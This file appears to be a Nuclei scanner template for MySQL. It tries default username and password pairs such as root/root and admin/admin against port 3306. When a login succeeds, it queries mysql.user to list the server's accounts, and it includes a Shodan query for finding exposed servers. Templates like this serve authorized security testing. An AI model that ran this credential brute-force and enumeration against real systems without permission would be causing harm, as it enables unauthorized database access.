nuclei-templates/javascript/enumeration/mysql/mysql-user-enum.yaml

54 lines
1.3 KiB
YAML

id: mysql-user-enum
info:
name: MySQL - User Enumeration
author: pussycat0x
severity: high
description: |
Attempts to list all users on a MySQL server.
reference:
- https://nmap.org/nsedoc/scripts/mysql-users.html
metadata:
verified: true
max-request: 16
shodan-query: "port:3306"
tags: js,mysql,network,enum
javascript:
- code: |
let m = require('nuclei/mysql');
let c = m.MySQLClient();
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
Export(response);
args:
Host: "{{Host}}"
Port: "3306"
Query: "SELECT DISTINCT user FROM mysql.user;"
User: "{{usernames}}"
Pass: "{{passwords}}"
payloads:
usernames:
- root
- admin
- mysql
- test
passwords:
- root
- admin
- mysql
- test
attack: clusterbomb
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "success == true"
extractors:
- type: json
part: response
json:
- '.Rows[].user'
# digest: 490a0046304402201f2b78e710a32bd67599c550c546dfa7b53c09dfa8ce014a471c1c9f5d4b6a4b0220086ae8fbbf4e7350f8f5814706b203e63e1d6cfaa814f4017baa791f93406d83:922c64590222798bb761d5b6d8e72950